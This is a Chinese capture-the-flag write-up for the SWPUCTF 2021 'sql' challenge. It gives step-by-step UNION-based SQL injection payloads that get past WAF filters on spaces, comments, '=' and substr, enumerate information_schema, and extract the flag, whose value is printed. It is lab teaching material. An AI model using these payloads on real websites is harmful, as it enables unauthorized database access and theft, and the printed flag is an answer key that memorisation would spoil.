前言
细讲SQL注入
[SWPUCTF 2021 新生赛]sql
既让sqlmap工具跑不出来,又让手注不是很难,题出的很用心
地址:[SWPUCTF 2021 新生赛]sql | NSSCTF
用到的知识
字符型
如上是单引号
发现waf
空格被过滤
–+被过滤
绕空格过滤的方法
%09,/**/
绕过–+注释符的方法:
%23(#)
查询回显位置
?wllm=1'order%09by%092%23
?wllm=1'order/**/by/**/3%23
两个回显位置
判断列数
1'order/**/by/**/3%23
发现3列正常回显
4列报错
使用select一样的效果
说明一共有三列
-1'union/**/select/**/1,database(),3%23
数据库为test_db
查询表名
这里的前置知识在mysql里information_schema里包含了所有的数据名表名列名
其中information_schema.tables里包含了所有的表
group_concat的意思是把信息排列成一行
发现waf
=被过滤
使用like绕过
?wllm=-1'union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/database()%23
或者
?wllm=-1'union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/'test_db'%23
拿到两个表名LTLT_flag,users
查询列名
前置知识
information_schema.columns下包含所有的列名
?wllm=-1'union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/database()%23
得到id,flag,id,username
flag在LTLT_flag表下 username在user表下
查询字段值
?wllm=-1'union/**/select/**/1,group_concat(flag),3/**/from/**/test_db.LTLT_flag%23
发现只能回显20个字符,尝试用substr
发现substr被waf拦截
使用mid平替
?wllm=-1'union/**/select/**/1,mid(group_concat(flag),1,20),3/**/from/**/test_db.LTLT_flag%23
?wllm=-1'union/**/select/**/1,mid(group_concat(flag),21,40),3/**/from/**/test_db.LTLT_flag%23
?wllm=-1'union/**/select/**/1,mid(group_concat(flag),41,60),3/**/from/**/test_db.LTLT_flag%23
NSSCTF{36458ec9-6832-48fc-874a-09e314f7ac3b}
THE END
- 最新
- 最热
只看作者